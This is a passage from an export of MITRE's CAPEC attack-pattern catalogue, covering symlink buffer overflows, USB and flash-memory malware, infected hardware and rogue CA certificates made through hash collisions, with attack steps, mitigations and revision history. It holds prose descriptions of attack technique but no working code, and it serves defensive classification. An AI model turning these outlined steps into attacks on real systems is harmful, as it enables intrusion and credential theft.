+ #indModificationModification23942 + Modification_23942 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, Examples-Instances, References, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName23948 + Previous_Entry_Name_23948 + + + + + + + + + 2017-05-01 + + + + + Malware Propagation via USB Stick + + + + + + + + + + + + #CAPEC-45 + Buffer Overflow via Symbolic Links + + + + + + + + + 45 + + + + + Buffer Overflow via Symbolic Links + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern23957 + Related_Attack_Pattern_23957 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep23960 + Attack_Step_23960 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target application] The adversary identifies a target application or program that might load in certain files to memory.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep23965 + Attack_Step_23965 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary creates or modifies a symbolic link pointing to those files which contain an excessive amount of data. If creating a symbolic link to one of those files causes different behavior in the application, then an injection vector has been identified.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep23971 + Attack_Step_23971 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow file content] The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create malicious shellcode that will execute when the program execution is returned to it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep23978 + Attack_Step_23978 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the specially crafted file content, the adversary creates a symbolic link from the identified resource to the malicious file, causing a targeted buffer overflow attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary can create symbolic link on the target host.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host does not perform correct boundary checking while consuming data from a resources.</xhtml:div> + + + + + + + + + + + + #indSkillSkill23989 + Skill_23989 + + + + + + + + + + + + + + An adversary can simply overflow a buffer by inserting a long string into an adversary-modifiable injection vector. The result can be a DoS. + + + + + + + + + + + + #indSkillSkill23990 + Skill_23990 + + + + + + + + + + + + + + Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary creating or modifying Symbolic links is a potential signal of attack in progress.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary deleting temporary files can also be a sign that the adversary is trying to replace legitimate resources with malicious ones.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence23997 + Consequence_23997 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence24001 + Consequence_24001 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence24008 + Consequence_24008 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence24012 + Consequence_24012 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pay attention to the fact that the resource you read from can be a replaced by a Symbolic link. You can do a Symlink check before reading the file and decide that this is not a legitimate way of accessing the resource.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Because Symlink can be modified by an adversary, make sure that the ones you read are located in protected directories.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Pay attention to the resource pointed to by your symlink links (See attack pattern named "Forced Symlink race"), they can be replaced by malicious resources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Always check the size of the input data before copying to a buffer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a language or compiler that performs automatic bounds checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an abstraction library to abstract away risky APIs. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use OS-level preventative functionality. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The EFTP server has a buffer overflow that can be exploited if an adversary uploads a .lnk (link) file that contains more than 1,744 bytes. This is a classic example of an indirect buffer overflow. First the adversary uploads some content (the link file) and then the adversary causes the client consuming the data to be exploited. In this example, the ls command is exploited to compromise the server software.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 120 + + + + + 285 + + + + + 302 + + + + + 118 + + + + + 119 + + + + + 74 + + + + + 20 + + + + + 680 + + + + + 697 + + + + + + + + + + + + #indReferenceReference24044 + Reference_24044 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory24046 + Content_History_24046 + + + + + + + + + + + + + + + + #indSubmissionSubmission24047 + Submission_24047 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24052 + Modification_24052 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification24058 + Modification_24058 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification24064 + Modification_24064 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Indicators, Mitigations, Prerequisites, Skills_Required + + + + + + + + + + + + #indModificationModification24070 + Modification_24070 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-450 + DEPRECATED: Malware Propagation via USB U3 Autorun + + + + + + + + + 450 + + + + + DEPRECATED: Malware Propagation via USB U3 Autorun + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Embed Virus into DLL. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory24082 + Content_History_24082 + + + + + + + + + + + + + + + + #indSubmissionSubmission24083 + Submission_24083 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24088 + Modification_24088 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24094 + Modification_24094 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary, References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24100 + Modification_24100 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName24106 + Previous_Entry_Name_24106 + + + + + + + + + 2017-05-01 + + + + + Malware Propagation via USB U3 Autorun + + + + + + + + + + + + #CAPEC-451 + DEPRECATED: Malware Propagation via Infected Peripheral Device + + + + + + + + + 451 + + + + + DEPRECATED: Malware Propagation via Infected Peripheral Device + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of CAPEC-448 : Malware Infection into Product Software. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory24113 + Content_History_24113 + + + + + + + + + + + + + + + + #indSubmissionSubmission24114 + Submission_24114 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24119 + Modification_24119 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24125 + Modification_24125 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24131 + Modification_24131 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName24137 + Previous_Entry_Name_24137 + + + + + + + + + 2017-05-01 + + + + + Malware Propagation via Infected Peripheral Device + + + + + + + + + + + + #CAPEC-452 + Infected Hardware + + + + + + + + + 452 + + + + + Infected Hardware + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary inserts malicious logic into hardware, typically in the form of a computer virus or rootkit. This logic is often hidden from the user of the hardware and works behind the scenes to achieve negative impacts. This pattern of attack focuses on hardware already fielded and used in operation as opposed to hardware that is still under development and part of the supply chain.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24145 + Related_Attack_Pattern_24145 + + + + + + + + + + + + + + 441 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the hardware currently deployed at a victim location.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence24151 + Consequence_24151 + + + + + + + + + + + + + + + + + + + + + + + + + + #indContentHistoryContentHistory24156 + Content_History_24156 + + + + + + + + + + + + + + + + #indSubmissionSubmission24157 + Submission_24157 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24162 + Modification_24162 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification24168 + Modification_24168 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24174 + Modification_24174 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24180 + Modification_24180 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24186 + Modification_24186 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName24192 + Previous_Entry_Name_24192 + + + + + + + + + 2018-07-31 + + + + + Malicious Logic Insertion into Product Hardware + + + + + + + + + + + + #CAPEC-453 + DEPRECATED: Malicious Logic Insertion via Counterfeit Hardware + + + + + + + + + 453 + + + + + DEPRECATED: Malicious Logic Insertion via Counterfeit Hardware + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of CAPEC-452 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory24199 + Content_History_24199 + + + + + + + + + + + + + + + + #indSubmissionSubmission24200 + Submission_24200 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24205 + Modification_24205 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24211 + Modification_24211 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Description Summary, References, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName24217 + Previous_Entry_Name_24217 + + + + + + + + + 2017-05-01 + + + + + Malicious Logic Insertion via Counterfeit Hardware + + + + + + + + + + + + #CAPEC-454 + DEPRECATED: Modification of Existing Components with Counterfeit Hardware + + + + + + + + + 454 + + + + + DEPRECATED: Modification of Existing Components with Counterfeit Hardware + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of CAPEC-452 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory24225 + Content_History_24225 + + + + + + + + + + + + + + + + #indSubmissionSubmission24226 + Submission_24226 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24231 + Modification_24231 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24237 + Modification_24237 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, References, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName24243 + Previous_Entry_Name_24243 + + + + + + + + + 2017-05-01 + + + + + Modification of Existing Components with Counterfeit Hardware + + + + + + + + + + + + #CAPEC-455 + DEPRECATED: Malicious Logic Insertion via Inclusion of Counterfeit Hardware Components + + + + + + + + + 455 + + + + + DEPRECATED: Malicious Logic Insertion via Inclusion of Counterfeit Hardware Components + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it is a duplicate of CAPEC-457 : Malicious Logic Insertion into Product Hardware. Please refer to this other pattern going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory24251 + Content_History_24251 + + + + + + + + + + + + + + + + #indSubmissionSubmission24252 + Submission_24252 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24257 + Modification_24257 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24263 + Modification_24263 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites, Description Summary, Examples-Instances, References, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName24269 + Previous_Entry_Name_24269 + + + + + + + + + 2017-05-01 + + + + + Malicious Logic Insertion via Inclusion of Counterfeit Hardware Components + + + + + + + + + + + + #CAPEC-456 + Infected Memory + + + + + + + + + 456 + + + + + Infected Memory + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary inserts malicious logic into memory enabling them to achieve a negative impact. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems that are still under development and part of the supply chain.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24277 + Related_Attack_Pattern_24277 + + + + + + + + + + + + + + 441 + + + + + 437 + + + + + + + + + + + + #indConsequenceConsequence24282 + Consequence_24282 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage anti-virus products to detect stop operations with known virus.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A USB Memory stick has malicious logic inserted before shipping of the product allowing for infection of the host machine once inserted into the USB port.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In 2007, approximately 1800 of Seagate's Maxtor Personal Storage 3200 drives were built under contract with an outside manufacturer and contained a virus that stole user passwords.</xhtml:div> + + + + + 1257 + + + + + 1260 + + + + + 1274 + + + + + 1312 + + + + + 1316 + + + + + + + + + + + + #indContentHistoryContentHistory24301 + Content_History_24301 + + + + + + + + + + + + + + + + #indSubmissionSubmission24302 + Submission_24302 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24307 + Modification_24307 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary, References + + + + + + + + + + + + #indModificationModification24313 + Modification_24313 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Description Summary, Examples-Instances, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification24319 + Modification_24319 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24325 + Modification_24325 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification24331 + Modification_24331 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName24337 + Previous_Entry_Name_24337 + + + + + + + + + 2018-07-31 + + + + + Malicious Logic Insertion into Product Memory + + + + + + + + + + + + #CAPEC-457 + USB Memory Attacks + + + + + + + + + 457 + + + + + USB Memory Attacks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary loads malicious code onto a USB memory stick in order to infect any system which the device is plugged in to. USB drives present a significant security risk for business and government agencies. Given the ability to integrate wireless functionality into a USB stick, it is possible to design malware that not only steals confidential data, but sniffs the network, or monitor keystrokes, and then exfiltrates the stolen data off-site via a Wireless connection. Also, viruses can be transmitted via the USB interface without the specific use of a memory stick. The attacks from USB devices are often of such sophistication that experts conclude they are not the work of single individuals, but suggest state sponsorship. These attacks can be performed by an adversary with direct access to a target system or can be executed via means such as USB Drop Attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24345 + Related_Attack_Pattern_24345 + + + + + + + + + + + + + + 456 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24346 + Related_Attack_Pattern_24346 + + + + + + + + + + + + + + 529 + + + + + + + + + + + + #indAttackStepAttackStep24349 + Attack_Step_24349 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Target System] In certain cases, the adversary will explore an organization's network to determine a specific target machine to exploit based on the information it contains or privileges the main user may possess.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If needed, the adversary explores an organization's network to determine if any specific systems of interest exist.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24355 + Attack_Step_24355 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Develop or Obtain malware and install on a USB device] The adversary develops or obtains the malicious software necessary to exploit the target system, which they then install on an external USB device such as a USB flash drive.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary can develop or obtain malware for to perform a variety of tasks such as sniffing network traffic or monitoring keystrokes.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24361 + Attack_Step_24361 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Connect or deceive a user into connecting the infected USB device] Once the malware has been placed on an external USB device, the adversary connects the device to the target system or deceives a user into connecting the device to the target system such as in a USB Drop Attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary connects the USB device to a specified target system or performs a USB Drop Attack, hoping a user will find and connect the USB device on their own. Once the device is connected, the malware executes giving the adversary access to network traffic, credentials, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Some level of physical access to the device being attacked.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Information pertaining to the target organization on how to best execute a USB Drop Attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that proper, physical system access is regulated to prevent an adversary from physically connecting a malicious USB device themself.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use anti-virus and anti-malware tools which can prevent malware from executing if it finds its way onto a target system. Additionally, make sure these tools are regularly updated to contain up-to-date virus and malware signatures.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not connect untrusted USB devices to systems connected on an organizational network. Additionally, use an isolated testing machine to validate untrusted devices and confirm malware does not exist.</xhtml:div> + + + + + 1299 + + + + + + + + + + + + #indTaxonomyMappingReplicationThroughRemovableMedia + Replication Through Removable Media + + + + + + + + + + + + + + 1091 + + + + + Replication Through Removable Media + + + + + + + + + + + + #indTaxonomyMappingCommunicationThroughRemovableMedia + Communication Through Removable Media + + + + + + + + + + + + + + 1092 + + + + + Communication Through Removable Media + + + + + + + + + + + + #indReferenceReference24391 + Reference_24391 + + + + + + + + + REF-379 + + + + + + + + + + + + #indContentHistoryContentHistory24393 + Content_History_24393 + + + + + + + + + + + + + + + + #indSubmissionSubmission24394 + Submission_24394 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24399 + Modification_24399 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification24405 + Modification_24405 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description, Description Summary, Related_Attack_Patterns, Solutions_and_Mitigations, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification24411 + Modification_24411 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Mitigations + + + + + + + + + + + + #indModificationModification24417 + Modification_24417 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification24423 + Modification_24423 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-458 + Flash Memory Attacks + + + + + + + + + 458 + + + + + Flash Memory Attacks + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary inserts malicious logic into a product or technology via flashing the on-board memory with a code-base that contains malicious logic. Various attacks exist against the integrity of flash memory, the most direct being rootkits coded into the BIOS or chipset of a device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Such attacks are very difficult to detect because the malicious code resides outside the filesystem or RAM, and in the underlying byte-code that drives the processor. Many devices, such as the recent attacks against digital picture frames, contain only a microprocessor and a small amount of solid-state memory, rendering these devices ideal for "flash" based malware or malicious logic.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;One of the pernicious characteristics of flash memory based attacks is that the malicious code can survive even a total format of the hard-drive and reinstallation of the host operating system. Virtually any device which can be integrated into a computer system is susceptible to these attacks. Additionally, any peripheral device which interfaces with the computer bus could extract or sniff confidential data, even on systems employing full-disk encryption. Trojan code placed into a video card's chipset would continue to perform its function irrespective of the host operating system, and would be invisible to all known antivirus. The threats extend to consumer products such as camcorders, digital cameras, or any consumer electronic device with an embedded microcontroller.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24438 + Related_Attack_Pattern_24438 + + + + + + + + + + + + + + 456 + + + + + 1282 + + + + + + + + + + + + #indReferenceReference24444 + Reference_24444 + + + + + + + + + REF-379 + + + + + + + + + + + + #indReferenceReference24445 + Reference_24445 + + + + + + + + + REF-394 + + + + + + + + + + + + #indContentHistoryContentHistory24447 + Content_History_24447 + + + + + + + + + + + + + + + + #indSubmissionSubmission24448 + Submission_24448 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification24453 + Modification_24453 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification24459 + Modification_24459 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-459 + Creating a Rogue Certification Authority Certificate + + + + + + + + + 459 + + + + + Creating a Rogue Certification Authority Certificate + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Alternatively, the second certificate could be a signing certificate. Thus the adversary is able to start their own Certification Authority that is anchored in its root of trust in the legitimate Certification Authority that has signed the attacker's first X.509 certificate. If the original Certificate Authority was accepted by default by browsers, so will the Certificate Authority set up by the adversary and any certificates that it signs. As a result, the adversary is able to generate any SSL certificates to impersonate any web server, and the user's browser will not issue any warning to the victim. This can be used to compromise HTTPS communications and other types of systems where PKI and X.509 certificates may be used (e.g., VPN, IPSec).&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern24477 + Related_Attack_Pattern_24477 + + + + + + + + + + + + + + 473 + + + + + + + + + + + + #indAttackStepAttackStep24480 + Attack_Step_24480 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft Certificates] The adversary crafts two different, but valid X.509 certificates that when hashed with an insufficiently collision resistant hashing algorithm would yield the same value.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24485 + Attack_Step_24485 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Send CSR to Certificate Authority] The adversary sends the CSR for one of the certificates to the Certification Authority which uses the targeted hashing algorithm. That request is completely valid and the Certificate Authority issues an X.509 certificate to the adversary which is signed with its private key.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep24490 + Attack_Step_24490 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Insert Signed Blob into Unsigned Certificate] The adversary takes the signed blob and inserts it into the second X.509 certificate that the attacker generated. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob is valid in the second certificate. The result is two certificates that appear to be 